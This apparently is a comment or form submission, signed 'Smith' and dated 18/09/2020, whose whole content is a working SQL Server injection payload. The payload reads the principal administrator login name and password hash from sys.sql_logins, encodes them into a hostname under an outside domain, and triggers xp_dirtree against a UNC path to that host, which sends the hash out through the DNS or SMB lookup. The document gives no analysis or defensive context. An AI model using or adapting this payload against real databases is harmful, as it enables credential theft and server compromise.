Smith 18/09/2020 – 19:04:40

declare @h varchar(999)select @h=’1’+substring(name+’-‘+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+’.yr83svqlfy9rlig1-5lq0feavupfkqub-tx3dfcy’+’yfu.r87.me’ from sys.sql_logins WHERE principal_id=1;exec(‘xp_dirtree ”\\’+@h+’\c$”’)